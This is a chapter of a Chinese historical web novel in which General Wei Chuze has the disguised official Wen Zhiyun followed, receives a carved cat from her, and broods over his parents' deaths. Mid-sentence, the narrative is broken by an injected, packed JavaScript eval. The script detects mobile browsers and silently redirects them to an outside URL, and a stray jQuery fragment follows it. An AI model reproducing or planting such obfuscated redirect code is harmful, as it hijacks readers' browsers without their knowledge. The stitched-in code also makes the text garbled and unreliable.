那人不是别人,正是昭云将军卫楚泽。
卫楚泽嘴角浮现一丝笑意,自己猜的不错,这个温执身份果然不简单,他住在将军府到底有何目的,事情似乎变得有趣多了。
他回到书房,将击西喊来,问道:“击西,你觉得温执温大人是个什么样的人?”
“啊?”一向冷淡的击西脸上出现疑惑的表情。
卫楚泽没有管他,继续问道:“他住在将军府有何目的?”
“将军,不是您让他留在将军府的吗?”那日站在不远处巡逻的击西将他们的话全数听到了耳中。
卫楚泽摇了摇头,仔细想想,他怕是在以进为退,料到自己会挽留他。
“怕是我们都小瞧了温大人。”
随后卫楚泽便命击西暗中监视着温执的一举一动,虽然击西不知为何,但是知道卫楚泽做事一向有他的道理,并未追问。
文知蕴第二日与清梧出门之时,便察觉到背后有一双眼睛盯着她们,不过今日她们出门却不为其他,只是想出来散散心,本不想理会那跟踪之人。
但逛了一天,她买了一堆东西,手中拎不下,她不经意间一回头,惊喜地看到击西在她身后不远处,挥着手大声喊道:“西护卫,好巧啊!”
击西左右看看,发现这西护卫指的是他之后,面无表情的走到文知蕴的面前,冷淡的道:“温大人,您喊我?”
“是的,没想到这么巧,竟然在街上遇到了西护卫,西护卫也是来逛街的吗?”文知蕴表现的十分真诚,仿佛真的是偶然在街上遇到。
击西点了点头,总不能说自己是来跟踪他的吧。
“那刚好,我买了一堆东西,实在是拎不下了,不知西护卫可否相助。”这句话不容击西拒绝,因为下一秒文知蕴便将一堆大大小小的东西,直接塞到了击西的手中。
“温大人不是没有银两吗。”击西本是小声嘟囔了一声,却没想到被文知蕴听了去。
“花的钱都是卫将军借给我的,等我发了俸禄便会还给他。”
书房内残烛摇曳,卫楚泽坐于桌前,有人敲门后,推门而入,烛火随风而动。
“将军,今日温大人并无异常之处,不过……”
“不过什么?”
“不过我跟踪之时被温大人发现了,不知他是有意,还是无意。”
若是无意,也就罢了,若是有意,那事情变得有趣了。
卫楚泽盯着随风而动的烛火。
击西刚刚退下,卫楚泽的房门再次响起。
“咚咚咚……”很轻柔的敲门声。
不用猜卫楚泽也知道这人是谁。
“进来吧。”
话音未落,房门再次被推开,推门那人动作很轻,因此摇曳的烛火没有太大的变化。
“卫将军,下官今日出门闲逛,看到了许多有趣的东西,以前我在村里都没见过,因此一不小心就买多了,把你借给我的银两都花光了。”文知蕴这话说的非常坦诚。
“哦,是吗?所以温大人这是想再问我借些?”卫楚泽盯着文知蕴问道。
“非也,下官今日在街上碰到个有趣的东西,想来卫将军会感兴趣,便买来想送给你。”话音未落,文知蕴从身后拿出个盒子,放到了卫楚泽的面前。
卫楚泽搞不懂这个温执葫芦里到底卖的什么药,同时,他能明显的感觉到,温执对他的态度,以及与他说话的语气,比以往活泼了不少。
他看了看温执,那人朝他点了点下颌,他的目光转移到面前的盒子上,轻轻打开盒子。
只见盒子里面坐着一个软糯糯的东西,显然是只小猫咪,这猫咪雕刻的惟妙惟肖,栩栩如生,若是不仔细看,当真会把他认成一只活物。
“下官听说,卫将军非常喜欢猫咪,逛街的时候偶然看到,觉得卫将军会喜欢,便买了下来。”说完一脸笑意的看向卫楚泽。
“不错,我确实很喜欢。”
“不过,我猜温大人也定是很喜欢。”卫楚泽看向文知蕴道。
“这点下官倒是与卫将军相似。”文知蕴道。
“温大人为何会喜欢小猫咪呢?”卫楚泽问道。
文知蕴未加思考,道:“卫将军难道不觉得小猫咪毛茸茸,软糯糯,每天围着你转,很可爱吗?”
“可爱?”
“对呀,很可爱,很治愈。”只要你有吃的,便可以一直陪在你的身边,甚至他的一生都只有你一个人。
“我倒是羡慕他们每日吃吃喝喝,晒晒太阳,睡睡懒觉,无忧无虑。”卫楚泽喃喃道。
“卫将军你说什么?”文知蕴此时脑子里只有小猫咪,完全没有听到卫楚泽方才说了什么。
“没什么。”
“卫将军难道觉得不可爱吗?”
“可爱。”
“对啦,今日闲逛之时,在大街上偶遇了击西护卫,下官买的东西实在是太多了,于是便借用了一下击西护卫,让他帮我提了些东西,卫将军应该不会怪罪于下官吧。”文知蕴这话说的非常坦诚,让卫楚泽一时分不清她到底是在暗示什么,还是仅仅借用了一下人。
“只要他没问题,不用跟我汇报。”卫楚泽道。
“那下官就谢过卫将军了。”文知蕴抱拳行礼。
又是一个夜幕降临,院子中的灯笼亮起,京城秋季风多,今夜也不例外,夜风习习,灯笼在风中摇曳,晃了一院的斑驳。
卫楚泽望向院内,此时只觉头大,今日破晓时分,夏池便急匆匆地敲响了将军府的大门,告知他月婵姑娘已醒,并将月婵姑娘受伤的原委复述了一遍给他。
这事本就不在文知蕴的掌握之中,因此她也并未让月婵隐瞒什么,而是如实的禀报了夏池。
夏池也是分毫不差的禀告了卫楚泽。
那人既大大咧咧的说出是关英杰指使的,那一定就有问题,所以究竟是谁?卫楚泽没有头绪。
还有从浙州回来的那两次刺杀,仅凭他们的手法上来看,二者相差甚远,但是也不能否认幕后之人是同一人。
是谁怎么不想让他回到京城,又是谁那么想置他于死地。
卫楚泽知道自己树敌众多,即使自己保持中立,怕是也早早成为了别人早晚要铲除的对象,毕竟历朝历代,手握重兵之人,只要他威胁到那个人的地位,除非顺势退下,否则下场都不会太好。
自己的母亲便是一个活生生的例子。
即使他无数遍的告诉自己,自己的母亲是战死沙场,死在敌人的刀下,但是扪心自问,他的内心深处是从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281923|151866||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来不相信的。母亲身经百战,在那种情况下不可能中了敌军的埋伏,她也不可能轻敌,她一向有勇有谋。
还有父亲,父亲真的是在因为母亲战死,伤心过度,自缢身亡的吗?他难道从来没有考虑过自己吗?即便他要自缢,他应该也会回来看自己一眼吧。
因为这些怀疑,这些年卫楚泽面上装作满不在乎,实际上却一直暗暗调查当初的真相。同时还有一点让卫楚泽觉得很是蹊跷,就是当年跟随母亲一起出征的那支队伍,竟全军覆没,没留下一个活口。
所以这几年自己虽一直调查,却没找到什么实质性的证据。
卫楚泽又想起那夜的那个背影,那人说知晓一些线索,要与自己合作,可是自从那日之后,那人便再也没有来找过他。
温执又和这些有什么关系呢?
卫楚泽一时想不明白。
“梁管家,家里还有桂花酒吗?”卫楚泽现在想喝点酒提提神。
“有,前几年酿的还有几坛,少爷,您要喝吗?”梁管家问道。
“嗯,帮我拿一坛……拿两坛过来吧。”卫楚泽不知想到了什么。
“好嘞,少爷,老奴这就去。”
没过多久,梁管家便携着夜色,提着两坛桂花酒送了过来,卫楚泽接过管家手中的桂花酒,提着便直奔了一个地方。
西厢房内,屋内那仅有的一张檀木桌子被堆得满满当当,文知蕴却看也没有看上一眼,她知道今日在大街上遇到击西不是巧合,而是他在跟踪自己。
莫非是自己哪里出了纰漏,让卫楚泽怀疑上了自己,还有今日清月给她传来的一条消息,关于那个隐世的巫雨山庄,据调查所知,巫雨山庄的庄主,近日曾出现在京城,并且出入过东宫。
这样看来,刺杀之人与太子有关,可是文知蕴搞不懂,太子有什么理由要刺杀卫楚泽呢?
他们浙州一行,断的是平王殿下的财路,按理说他们阴差阳错算是帮了太子,太子不说感谢他们,也不至于动手刺杀他们。
况且刺杀朝廷大臣,这件事若是留下什么把柄,对太子的名声没有什么好处可言。
文知蕴一时之间也想不明白。
“砰砰砰——”
门外突然传来清脆的敲门声,文知蕴的思绪被打断,她问道:“是谁?”
便听到外面答道:“温大人,要不要出来一起喝杯桂花酒?”
是卫楚泽。
喝酒?正合她意,于是文知蕴未加思索,便推开了门,跟着卫楚泽走了出去。
他们踏着厚厚的落叶,穿过满院子的秋风,一步留下一阵“咯吱咯吱”的清脆声。
文知蕴喜欢这种声音,不是因为他们声音清脆,而是因为他们不鸣则已,一鸣惊人,尤其是在这黑夜中。
走了片刻,却还不见卫楚泽停下的脚步,文知蕴终于忍不住问道:“卫将军,我们这是要去哪里?”
一语未了,卫楚泽突然停了下来,文知蕴没来得及收脚,一头撞到了他的后背上,卫楚泽嘴角噙着一丝笑意,文知蕴没有看到,但是她猜到了。
因为下一秒,卫楚泽提着酒的手朝天上指了指,朗声道:“高处。”
一抬头,文知蕴便被卫楚泽提溜着跃上了将军府最高的一座房顶。